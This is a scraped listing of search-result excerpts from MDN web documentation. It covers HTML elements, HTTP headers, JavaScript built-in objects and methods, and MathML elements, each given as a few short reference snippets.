it offers new features that provide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was previously possible.
...you can find a list of all of the html5 features that gecko currently supports on the main html5 page.
... for detailed information about multiple browsers' support of html5 features, refer to the caniuse website.
...And 3 more matches
Parsing and serializing XML - Developer guides
xpath a technology for creating strings that contain addresses for specific portions of an xml document, and locating xml nodes based on those addresses.
... parsing strings into dom trees this example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
...the two types are essentially the same; the difference is largely historical, although differentiating has some practical benefits as well.
...And 3 more matches
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, the step attribute is a number that specifies the granularity that the value must adhere to or the keyword any.
...the value can must be a positive number - integer or float -- or the special value any, which means no stepping is implied, and any value is allowed (barring other constraints, such as min and max).
... default values for step input type value example date 1 (day) <input type="date" min="2019-12-25" step="1"> month 1 (month) <input type="month" min="2019-12" step="12"> week 1 (week) <input type="week" min="2019-w23" step="2"> time 60 (seconds) <input type="time" min="09:00" step="900"> datetime-local 1 (day) <input type="datetime-local" min="019-12-25t19:30" step="7"> number 1 <input type="number" min="0" step="0.1" max="10"> range 1 <input type="range" min="0" step="2" max="10"> if any is not explicity set, valid values for the number, date/time input types, and range input types are equal to the basis for stepping - the min value and incr...
...And 3 more matches
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
summary the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word.
... a few browsers not only add a dotted underline, but also put it in small caps; to avoid this styling, adding something like font-variant: none in the css takes care of this case.
... specifications specification status comment html 4.01 specificationthe definition of '<acronym>' in that specification.
...And 3 more matches
<basefont> - HTML: Hypertext Markup Language
WebHTMLElementbasefont
with this set, the font's size can then be varied relative to the base size using the <font> element.
...if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.
...further, browsers, and even successive versions of browsers, never implemented it in the same way: practically, using it has always brought indeterminate results.
...And 3 more matches
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
content categories flow content, heading content, palpable content.
... usage notes the <hgroup> element has been removed from the html5 (w3c) specification, but it still is in the whatwg version of html.
... however, given that a key purpose of the <hgroup> element is to affect how headings are displayed by the outline algorithm defined in the html specification—but the html outline algorithm is not implemented in any browsers—then the <hgroup> semantics are in practice only theoretical.
...And 3 more matches
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
WebHTMLElementhr
historically, this has been presented as a horizontal rule or line.
... content categories flow content.
...</p> result specifications specification status comment html living standardthe definition of '<hr>' in that specification.
...And 3 more matches
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
<input type="reset" value="reset the form"> if you don't specify a value, you get an button with the default label (typically "reset," but this will vary depending on the user agent): <input type="reset"> using reset buttons <input type="reset"> buttons are used to reset forms.
...this is especially true since the modifiers are typically non-standard to avoid conflicts.
...adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.
...And 3 more matches
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
it is deprecated since html 3.2 and was neither implemented by all browsers, nor in a consistent way.
... instead use the <pre> element or if semantically adequate the <code> element, eventually escaping the html '<' and '>' so that they don't get interpreted.
... a monospaced font can also be obtained on a simple <div> element, by applying an adequate css style using monospace as the generic-font value in a font-family property.
...And 3 more matches
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
content categories flow content, phrasing content, palpable content.
... name the name attribute gives the map a name so that it can be referenced.
...the value of the name attribute must not be a compatibility-caseless match for the value of the name attribute of another <map> element in the same document.
...And 3 more matches
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
you can control what happens when the text reaches the edges of its content area using its attributes.
... vspace sets the vertical margin in pixels or percentage value.
...it can only fire when the behavior attribute is set to alternate.
...And 3 more matches
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
WebHTMLElementmeter
the html <meter> element represents either a scalar value within a known range or a fractional value.
... content categories flow content, phrasing content, labelable content, palpable content.
... optimum this attribute indicates the optimal numeric value.
...And 3 more matches
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
WebHTMLElementq
the html <q> element indicates that the enclosed text is a short inline quotation.
... content categories flow content, phrasing content, palpable content.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement usage note: most modern browsers will automatically add quotation marks around text inside a <q> element.
...And 3 more matches
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
WebHTMLElementrtc
<rb> elements can have both pronunciation (<rt>) and semantic (<rtc>) annotations.
... content categories none.
... tag omission the closing tag can be omitted if it is immediately followed by a <rb>, <rtc> or <rt> element opening tag or by its parent closing tag.
...And 3 more matches
<s> - HTML: Hypertext Markup Language
WebHTMLElements
however, <s> is not appropriate when indicating document edits; for that, use the <del> and <ins> elements, as appropriate.
... content categories phrasing content or flow content.
...it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements.
...And 3 more matches
<strike> - HTML: Hypertext Markup Language
WebHTMLElementstrike
usage note: this element is deprecated in html 4 and xhtml 1, and obsoleted in html5.
... if semantically appropriate, i.e., if it represents deleted content, use <del> instead.
... in all other cases use <s>.
...And 3 more matches
Access-Control-Expose-Headers - HTTP
the access-control-expose-headers response header indicates which headers can be exposed as part of the response by listing their names.
... by default, only the 7 cors-safelisted response headers are exposed: cache-control content-language content-length content-type expires last-modified pragma if you want clients to be able to access other headers, you have to list them using the access-control-expose-headers header.
...access-control-expose-headers: * directives <header-name> a list of exposed headers consisting of zero or more header names other than the cors-safelisted request headers that the resource might use and can be exposed.
...And 3 more matches
Authorization - HTTP
the http authorization request header contains the credentials to authenticate a user agent with a server, usually, but not necessarily, after the server has responded with a 401 unauthorized status and the www-authenticate header.
... header type request header forbidden header name no syntax authorization: <type> <credentials> directives <type> authentication type.
...other types: iana registry of authentication schemes authentification for aws servers (aws4-hmac-sha256) <credentials> if the "basic" authentication scheme is used, the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame).
...And 3 more matches
CSP: referrer - HTTP
this api is deprecated and removed from browsers.
... syntax content-security-policy: referrer <referrer-policy>; where <referrer-policy> can be one of the following values: "no-referrer" the referer header will be omitted entirely.
... "origin" only send the origin of the document as the referrer in all cases.
...And 3 more matches
CSP: sandbox - HTTP
syntax content-security-policy: sandbox; content-security-policy: sandbox <value>; where <value> can optionally be one of the following values: allow-downloads-without-user-activation allows for downloads to occur without a gesture from the user.
... allow-popups-to-escape-sandbox allows a sandboxed document to open new windows without forcing the sandboxing flags upon them.
... allow-presentation allows embedders to have control over whether an iframe can start a presentation session.
...And 3 more matches
Content-Type - HTTP
the content-type entity header is used to indicate the media type of the resource.
...browsers will do mime sniffing in some cases and will not necessarily follow the value of this header; to prevent this behavior, the header x-content-type-options can be set to nosniff.
... header type entity header forbidden header name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x08 (tab)), "():<>?@[\]{}, and 0x7f (delete).
...And 3 more matches
Forwarded - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
...this can be either: an ip address (v4 or v6, optionally with a port, and ipv6 quoted and enclosed in square brackets), an obfuscated identifier (such as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made).
... by=<identifier> the interface where the request came in to the proxy server.
...And 3 more matches
Referrer-Policy - HTTP
origin-when-cross-origin send the origin, path, and query string when performing a same-origin request, but only send the origin of the document for other cases.
...carefully consider the impact of this setting.
... integration with html you can also set referrer policies inside html.
...And 3 more matches
Retry-After - HTTP
the retry-after response http header indicates how long the user agent should wait before making a follow-up request.
... there are three main cases this header is used: when sent with a 503 (service unavailable) response, this indicates how long the service is expected to be unavailable.
... when sent with a 429 (too many requests) response, this indicates how long to wait before making a new request.
...And 3 more matches
Save-Data - HTTP
the save-data header field is a boolean which, in requests, indicates the client's preference for reduced data usage.
... a value of on indicates explicit user opt-in into a reduced data usage mode on the client, and when communicated to origins allows them to deliver alternative content to reduce the data downloaded such as smaller image and video resources, different markup and styling, disabled polling and automatic updates, and so on.
... syntax save-data: <sd-token> directives <sd-token> a numerical value indicating whether the client wants to opt in to reduced data usage mode.
...And 3 more matches
SameSite cookies - HTTP
cookie “mycookie” rejected because it has the “samesite=none” attribute but is missing the “secure” attribute.
... the warning appears because any cookie that requests samesite=none but is not marked secure will be rejected.
...note that insecure sites (http:) can't set cookies with the secure directive.
...And 3 more matches
TypeError: invalid assignment to const "x" - JavaScript
javascript const declarations can't be re-assigned or redeclared.
... a constant is a value that cannot be altered by the program during normal execution.
... it cannot change through re-assignment, and it can't be redeclared.
...And 3 more matches
TypeError: "x" is read-only - JavaScript
message typeerror: assignment to read-only properties is not allowed in strict mode (edge) typeerror: "x" is read-only (firefox) typeerror: 0 is read-only (firefox) typeerror: cannot assign to read only property 'x' of #<object> (chrome) typeerror: cannot assign to read only property '0' of [object array] (chrome) error type typeerror what went wrong?
...(technically, it is a non-writable data property.) this error happens only in strict mode code.
... examples invalid cases read-only properties are not super common, but they can be created using object.defineproperty() or object.freeze().
...And 3 more matches
JavaScript error reference - JavaScript
these errors can be a helpful debugging aid, but the reported problem isn't always immediately clear.
...lerror: too much recursionrangeerror: argument is not a valid code pointrangeerror: invalid array lengthrangeerror: invalid daterangeerror: precision is out of rangerangeerror: radix must be an integerrangeerror: repeat count must be less than infinityrangeerror: repeat count must be non-negativereferenceerror: "x" is not definedreferenceerror: assignment to undeclared variable "x"referenceerror: can't access lexical declaration "x" before initializationreferenceerror: deprecated caller or arguments usagereferenceerror: invalid assignment left-hand sidereferenceerror: reference to undefined property "x"syntaxerror: "0"-prefixed octal literals and octal escape seq.
... are deprecatedsyntaxerror: "use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated.
...And 3 more matches
setter - JavaScript
the set syntax binds an object property to a function to be called when there is an attempt to set that property.
... expression starting with ecmascript 2015, you can also use expressions for a computed property name to bind to the given function.
... description in javascript, a setter can be used to execute a function whenever a specified property is attempted to be changed.
...And 3 more matches
Array.prototype.pop() - JavaScript
description the pop method removes the last element from an array and returns that value to the caller.
... pop is intentionally generic; this method can be called or applied to objects resembling arrays.
... objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
...And 3 more matches
Array.prototype.reverse() - JavaScript
description the reverse method transposes the elements of the calling array object in place, mutating the array, and returning a reference to the array.
... reverse is intentionally generic; this method can be called or applied to objects resembling arrays.
... objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
...And 3 more matches
Array.prototype.unshift() - JavaScript
return value the new length property of the object upon which the method was called.
...this method can be called or applied to objects resembling arrays.
... objects which do not contain a length property—reflecting the last in a series of consecutive, zero-based numerical properties—may not behave in any meaningful manner.
...And 3 more matches
BigInt64Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
... syntax new bigint64array(); new bigint64array(length); new bigint64array(typedarray); new bigint64array(object); new bigint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
BigUint64Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation).
... syntax new biguint64array(); new biguint64array(length); new biguint64array(typedarray); new biguint64array(object); new biguint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Date.prototype.getTime() - JavaScript
you can use this method to help assign a date and time to another date object.
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... examples using gettime() for copying dates constructing a date object with the identical time value.
...And 3 more matches
Date.prototype.toString() - JavaScript
date.prototype.tostring() returns a string representation of the date in the format specified in ecma-262 which can be summarised as: week day: 3 letter english week day name, e.g.
... the tostring() method is automatically called when a date is to be represented as a text value, e.g.
... console.log(new date()), or when a date is used in a string concatenation, such as var today = 'today is ' + new date().
...And 3 more matches
Date.prototype.toTimeString() - JavaScript
the totimestring() method returns the time portion of a date object in human readable form in american english.
... syntax dateobj.totimestring() return value a string representing the time portion of the given date in human readable form in american english.
...calling tostring() will return the date formatted in a human readable form in american english.
...And 3 more matches
Error() constructor - JavaScript
defaults to the name of the file containing the code that called the error() constructor.
...defaults to the line number containing the error() constructor invocation.
... examples function call or new construction when error is used like a function -- without new, it will return an error object.
...And 3 more matches
Float32Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new float32array(); // new in es2017 new float32array(length); new float32array(typedarray); new float32array(object); new float32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Float64Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new float64array(); // new in es2017 new float64array(length); new float64array(typedarray); new float64array(object); new float64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Function.arguments - JavaScript
description the syntax function.arguments is deprecated.
... in the case of recursion, i.e.
... if function f appears several times on the call stack, the value of f.arguments represents the arguments corresponding to the most recent invocation of the function.
...And 3 more matches
Generator.prototype.next() - JavaScript
you can also provide a parameter to the next method to send a value to the generator.
...in this case value optionally specifies the return value of the iterator.
...can be omitted when done is true.
...And 3 more matches
Int16Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new int16array(); // new in es2017 new int16array(length); new int16array(typedarray); new int16array(object); new int16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Int32Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new int32array(); // new in es2017 new int32array(length); new int32array(typedarray); new int32array(object); new int32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Int8Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new int8array(); // new in es2017 new int8array(length); new int8array(typedarray); new int8array(object); new int8array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Intl.NumberFormat.prototype.formatToParts() - JavaScript
the intl.numberformat.prototype.formattoparts() method allows locale-aware formatting of strings produced by numberformat formatters.
...it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preserving the locale-specific parts.
... examples comparing format and formattoparts numberformat outputs localized, opaque strings that cannot be manipulated directly: var number = 3500; var formatter = new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }); formatter.format(number); // "3.500,00 €" however, in many user interfaces there is a desire to customize the formatting of this string.
...And 3 more matches
Intl.RelativeTimeFormat.prototype.format() - JavaScript
the intl.relativetimeformat.prototype.format() method formats a value and unit according to the locale and formatting options of this relativetimeformat object.
... description the function returned by the format getter formats a value and a unit into a string according to the locale and formatting options of this intl.relativetimeformat object.
... // create a relative time formatter in your locale // with default values explicitly passed in.
...And 3 more matches
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.relativetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and relative time formatting options computed during initialization of this relativetimeformat object.
... syntax relativetimeformat.resolvedoptions() return value a new object with properties reflecting the locale and number formatting options computed during the initialization of the given relativetimeformat object.
... description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 3 more matches
JSON - JavaScript
it can't be called or constructed, and aside from its two method properties, it has no interesting functionality of its own.
...or e exponent exponent = digits or + digits or - digits digits = digit or digits digit digit = 0 through 9 onetonine = 1 through 9 jsonstring = "" or " stringcharacters " stringcharacters = stringcharacter or stringcharacters stringcharacter stringcharacter = any character except " or \ or u+0000 through u+001f or escapesequence escapesequence = \" or \/ or \\ or \b or \f or \n or \r or \t or \u hexdigit hexdigit hexdigit hexdigit hexdigit = 0 through 9 or a through f or a through f jsonobject = { } or { members } members = jsonstring : json or members , jsonstring : json jsonarray = [ ] or [ arrayelements ] arrayelements = json or arrayelem...
...ents , json insignificant whitespace may be present anywhere except within a jsonnumber (numbers must contain no whitespace) or jsonstring (where it is interpreted as the corresponding character in the string, or would cause an error).
...And 3 more matches
Math.min() - JavaScript
the static function math.min() returns the lowest-valued number passed into it, or nan if any parameter isn't a number and can't be converted into one.
...if any one or more of the parameters cannot be converted into a number, nan is returned.
... description because min() is a static method of math, you always use it as math.min(), rather than as a method of a math object you created (math is not a constructor).
...And 3 more matches
Math.random() - JavaScript
the math.random() function returns a floating-point, pseudo-random number in the range 0 to less than 1 (inclusive of 0, but not 1) with approximately uniform distribution over that range — which you can then scale to your desired range.
... the implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user.
... math.random() does not provide cryptographically secure random numbers.
...And 3 more matches
Math.random() - JavaScript
the math.random() function returns a floating-point, pseudo-random number in the range 0 to less than 1 (inclusive of 0, but not 1) with approximately uniform distribution over that range — which you can then scale to your desired range.
... the implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user.
... math.random() does not provide cryptographically secure random numbers.
...And 3 more matches
Object.assign() - JavaScript
in case of an error, for example if a property is non-writable, a typeerror is raised, and the target object is changed if any properties are added before the error is raised.
...'t support symbol properties, since es5 doesn't have symbols anyway: if (typeof object.assign !== 'function') { // must be writable: true, enumerable: false, configurable: true object.defineproperty(object, "assign", { value: function assign(target, varargs) { // .length of function is 2 'use strict'; if (target === null || target === undefined) { throw new typeerror('cannot convert undefined or null to object'); } var to = object(target); for (var index = 1; index < arguments.length; index++) { var nextsource = arguments[index]; if (nextsource !== null && nextsource !== undefined) { for (var nextkey in nextsource) { // avoid bugs when hasownproperty is shadowed if (object.prototype.hasownprop...
...erty.call(nextsource, nextkey)) { to[nextkey] = nextsource[nextkey]; } } } } return to; }, writable: true, configurable: true }); } examples cloning an object const obj = { a: 1 }; const copy = object.assign({}, obj); console.log(copy); // { a: 1 } warning for deep clone for deep cloning, we need to use alternatives, because object.assign() copies property values.
...And 3 more matches
Object.prototype.hasOwnProperty() - JavaScript
the hasownproperty() method returns a boolean indicating whether the object has the specified property as its own property (as opposed to inheriting it).
... return value a boolean indicating whether or not the object has the specified property as own property.
...this method can be used to determine whether an object has the specified property as a direct property of that object; unlike the in operator, this method does not check for a property in the object's prototype chain.
...And 3 more matches
Object.seal() - JavaScript
values of present properties can still be changed as long as they are writable.
... description by default, objects are extensible (new properties can be added to them).
...objects sealed with object.seal() can have their existing properties changed.
...And 3 more matches
Object.setPrototypeOf() - JavaScript
because this feature is a part of the language, it is still the burden on engine developers to implement that feature performantly (ideally).
... object.setprototypeof() is in the ecmascript 2015 specification.
...ochain : new ochain.constructor(ochain); for (var o1st = this.getprototypeof(o2nd); o1st !== object.prototype && o1st !== function.prototype; o1st = this.getprototypeof(o2nd) ) { o2nd = o1st; } if (oproto.constructor === string) { onewproto = function.prototype; oreturn = function.apply(null, array.prototype.slice.call(arguments, 1)); this.setprototypeof(oreturn, olast); } this.setprototypeof(o2nd, onewproto); return oreturn; } usage first example: appending a chain to a prototype function mammal() { this.ismammal = 'yes'; } function mammalspecies(smammalspecies) { this.species = smammalspecies; } mammalspecies.prototype = new mammal(); mammalspecies.prototype.constructor = mammalspecies;...
...And 3 more matches
Object.prototype.toSource() - JavaScript
description the tosource() method returns the following values: for the built-in object object, tosource() returns the following string indicating that the source code is not available: function object() { [native code] } for instances of object, tosource() returns a string representing the source code.
... you can call tosource() while debugging to examine the contents of an object.
... limitations on cyclical objects in the case of objects that contain references to themselves, e.g.
...And 3 more matches
Promise.resolve() - JavaScript
can also be a promise or a thenable to resolve.
... examples using the static promise.resolve method promise.resolve('success').then(function(value) { console.log(value); // "success" }, function(value) { // not called }); resolving an array var p = promise.resolve([1,2,3]); p.then(function(v) { console.log(v[0]); // 1 }); resolving another promise var original = promise.resolve(33); var cast = promise.resolve(original); cast.then(function(value) { console.log('value: ' + value); }); console.log('original === cast ?
... ' + (original === cast)); // logs, in order: // original === cast ?
...And 3 more matches
handler.set() - JavaScript
but a set() handler can also be called indirectly, via the prototype chain or various other ways.
...that proxy's set() handler will be called, and obj will be passed as the receiver.
... return true to indicate that assignment succeeded.
...And 3 more matches
Reflect.isExtensible() - JavaScript
the static reflect.isextensible() method determines if an object is extensible (whether it can have new properties added to it).
... return value a boolean indicating whether or not the target is extensible.
... description the reflect.isextensible method allows you determine if an object is extensible (whether it can have new properties added to it).
...And 3 more matches
Reflect - JavaScript
you cannot use it with a new operator or invoke the reflect object as a function.
... static methods reflect.apply(target, thisargument, argumentslist) calls a target function with arguments as specified by the argumentslist parameter.
...equivalent to calling new target(...argumentslist).
...And 3 more matches
RegExp.prototype[@@match]() - JavaScript
return value an array containing the entire match result and any parentheses-captured matched results, or null if there were no matches.
... description this method is called internally in string.prototype.match().
... examples direct call this method can be used in almost the same way as string.prototype.match(), except the different this and the different arguments order.
...And 3 more matches
RegExp.prototype.compile() - JavaScript
the deprecated compile() method is used to (re-)compile a regular expression during execution of a script.
... it is basically the same as the regexp constructor.
... flags if specified, flags can have any combination of the following values: g global match i ignore case m multiline; treat beginning and end characters (^ and $) as working over multiple lines (i.e., match the beginning or end of each line (delimited by \n or \r), not only the very beginning or end of the whole input string) y sticky; matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes).
...And 3 more matches
RegExp.$1-$9 - JavaScript
the number of possible parenthesized substrings is unlimited, but the regexp object can only hold the first nine.
... you can access all parenthesized substrings through the returned array's indexes.
... these properties can be used in the replacement text for the string.replace method.
...And 3 more matches
String.prototype.charCodeAt() - JavaScript
the utf-16 code unit matches the unicode code point for code points which can be represented in a single utf-16 code unit.
... if the unicode code point cannot be represented in a single utf-16 code unit (because its value is greater than 0xffff) then the code unit returned will be the first part of a surrogate pair for the code point.
...this is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character.
...And 3 more matches
String.prototype.repeat() - JavaScript
the repeat() method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.
... syntax str.repeat(count) parameters count an integer between 0 and +infinity, indicating the number of times to repeat the string.
... polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
...And 3 more matches
String.prototype.substring() - JavaScript
anystring = 'mozilla' let anystring4 = anystring.substring(anystring.length - 4) console.log(anystring4) // displays 'zilla' the last 5 characters let anystring = 'mozilla' let anystring5 = anystring.substring(anystring.length - 5) console.log(anystring5) the difference between substring() and substr() there's a subtle difference between the substring() and substr() methods, so you should be careful not to get them confused.
... let text = 'mozilla' console.log(text.substring(2,5)) // => "zil" console.log(text.substr(2,3)) // => "zil" differences between substring() and slice() the substring() and slice() methods are almost identical, but there are a couple of subtle differences between the two, especially in the way negative arguments are dealt with.
...the slice() method returns an empty string if this is the case.
...And 3 more matches
Symbol.toPrimitive - JavaScript
the symbol.toprimitive is a symbol that specifies a function valued property that is called to convert an object to a corresponding primitive value.
... description with the help of the symbol.toprimitive property (used as a function value), an object can be converted to a primitive value.
... the function is called with a string argument hint, which specifies the preferred type of the result primitive value.
...And 3 more matches
TypedArray.from() - JavaScript
mapfn optional map function to call on every element of the typed array.
... description typedarray.from() lets you create typed arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects where you can get its elements, such as map and set).
...this means that the following are equivalent: typedarray.from(obj, mapfn, thisarg) typedarray.from(array.prototype.map.call(obj, mapfn, thisarg)).
...And 3 more matches
Uint32Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new uint32array(); // new in es2017 new uint32array(length); new uint32array(typedarray); new uint32array(object); new uint32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Uint8Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new uint8array(); // new in es2017 new uint8array(length); new uint8array(typedarray); new uint8array(object); new uint8array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
Uint8ClampedArray() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
... syntax new uint8clampedarray(); // new in es2017 new uint8clampedarray(length); new uint8clampedarray(typedarray); new uint8clampedarray(object); new uint8clampedarray(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 3 more matches
WeakSet - JavaScript
they cannot contain arbitrary values of any type, as sets can.
...if no other references to an object stored in the weakset exist, those objects can be garbage collected.
... use case: detecting circular references functions that call themselves recursively need a way of guarding against circular data structures by tracking which objects have already been processed.
...And 3 more matches
WebAssembly.Table() constructor - JavaScript
syntax new webassembly.table(tabledescriptor); parameters tabledescriptor an object that can contain the following members: element a string representing the type of value to be stored in the table.
... at the moment this can only have a value of "anyfunc" (functions).
... so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call from js.
...And 3 more matches
WebAssembly - JavaScript
you can compare it to math, which is also a namespace object for mathematical constants and functions, or to intl which is the namespace object for internationalization constructors and other language-sensitive functions.
... constructor properties webassembly.compileerror() indicates an error during webassembly decoding or validation.
... webassembly.instance() is a stateful, executable instance of a webassembly.module webassembly.linkerror() indicates an error during module instantiation (besides traps from the start function).
...And 3 more matches
parseFloat() - JavaScript
or nan when the first non-whitespace character cannot be converted to a number.
... if the argument’s first character can’t be converted to a number (it’s not any of the above characters), parsefloat returns nan.
... parsefloat can also parse and return infinity.
...And 3 more matches
await - JavaScript
it can only be used inside an async function.
... description the await expression causes async function execution to pause until a promise is settled (that is, fulfilled or rejected), and to resume execution of the async function after fulfillment.
... an await can split execution flow, allowing the caller of the await's function to resume execution before the deferred continuation of the await's function.
...And 3 more matches
class expression - JavaScript
similar to function expressions, class expressions can be named or unnamed.
... if named, the name of the class is local to the class body only.
...this is not the case with class statements.
...And 3 more matches
function* expression - JavaScript
the function* keyword can be used to define a generator function inside an expression.
...can be omitted, in which case the function is anonymous.
... the name is only local to the function body.
...And 3 more matches
if...else - JavaScript
if the condition is falsy, another statement can be executed.
...can be any statement, including further nested if statements.
...can be any statement, including block statements and further nested if statements.
...And 3 more matches
with - JavaScript
performance pro & contra pro: the with statement can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty.
...note, however, that in many cases this benefit can be achieved by using a temporary variable to store a reference to the desired object.
...so given this example: function f(x, o) { with (o) { console.log(x); } } only when f is called is x either found or not, and if found, either in o or (if no such property exists) in f's activation object, where x names the first formal argument.
...And 3 more matches
Trailing commas - JavaScript
trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to javascript code.
... if you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing comma.
...an array with holes is called sparse (a dense array has no holes).
...And 3 more matches
<maction> - MathML
to specify which child elements are addressed by the action, you can make use of the selection attribute.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 3 more matches
<mover> - MathML
WebMathMLElementmover
this attribute is deprecated and will be removed in the future.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 3 more matches
<mpadded> - MathML
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... voffset sets or increments the vertical position.
...And 3 more matches
<msub> - MathML
WebMathMLElementmsub
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... this attribute is deprecated and will be removed in the future.
...And 3 more matches
<msup> - MathML
WebMathMLElementmsup
you can use #rgb, #rrggbb and html color names.
